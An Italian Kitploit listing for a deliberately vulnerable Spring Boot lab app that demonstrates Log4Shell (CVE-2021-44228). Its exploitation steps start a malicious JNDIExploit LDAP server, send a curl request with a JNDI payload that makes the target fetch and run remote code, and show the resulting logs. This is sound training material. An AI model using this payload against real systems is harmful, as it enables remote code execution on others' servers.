Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4shell-vulnerable-app — Applicazione web Spring Boot vulnerabile a CVE-2021-44228, soprannominato Log4Shell. | Kitploit
Strumenti/GitHubGitHub/bsigouin/log4shell-vulnerable-app
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubbsigouin/log4shell-vulnerable-app

log4shell-vulnerable-app

Applicazione web Spring Boot vulnerabile a CVE-2021-44228, soprannominato Log4Shell.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
4 anni faNon ancora revisionato

Applicazione vulnerabile di esempio Log4Shell (CVE-2021-44228)

Questo repository contiene un'applicazione web Spring Boot vulnerabile a CVE-2021-44228, soprannominato Log4Shell.

Utilizza Log4j 2.14.1 (tramite spring-boot-starter-log4j2 2.6.1) e JDK 1.8.0_181.

Esecuzione dell'applicazione

Eseguila:

root@kitploit:~
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Compilala da solo (non hai bisogno di strumenti Java):

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

Passaggi di sfruttamento

Nota: Questo è fortemente ispirato dall'avviso originale di LunaSec. Eseguire a proprio rischio, preferibilmente in una VM in un ambiente sandbox.

Aggiornamento (13 dicembre): Il repository JNDIExploit è stato rimosso da GitHub (presumibilmente, non da GitHub). Basta anteporre web.archive.org all'URL di download di JNDIExploit qui sotto per utilizzare la versione cachetata dalla Wayback Machine.

  • Usa JNDIExploit per avviare un server LDAP malevolo
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • Quindi, attiva l'exploit usando:
root@kitploit:~
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Nota l'output di JNDIExploit, che mostra l'invio di una risposta LDAP malevola e la distribuzione del payload di secondo stadio:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • Per confermare che l'esecuzione del codice è avvenuta con successo, nota che il file /tmp/pwned.txt è stato creato nel container che esegue l'applicazione vulnerabile:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

Riferimenti

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Contributori

@christophetd @rayhan0x01

Scarica lo strumento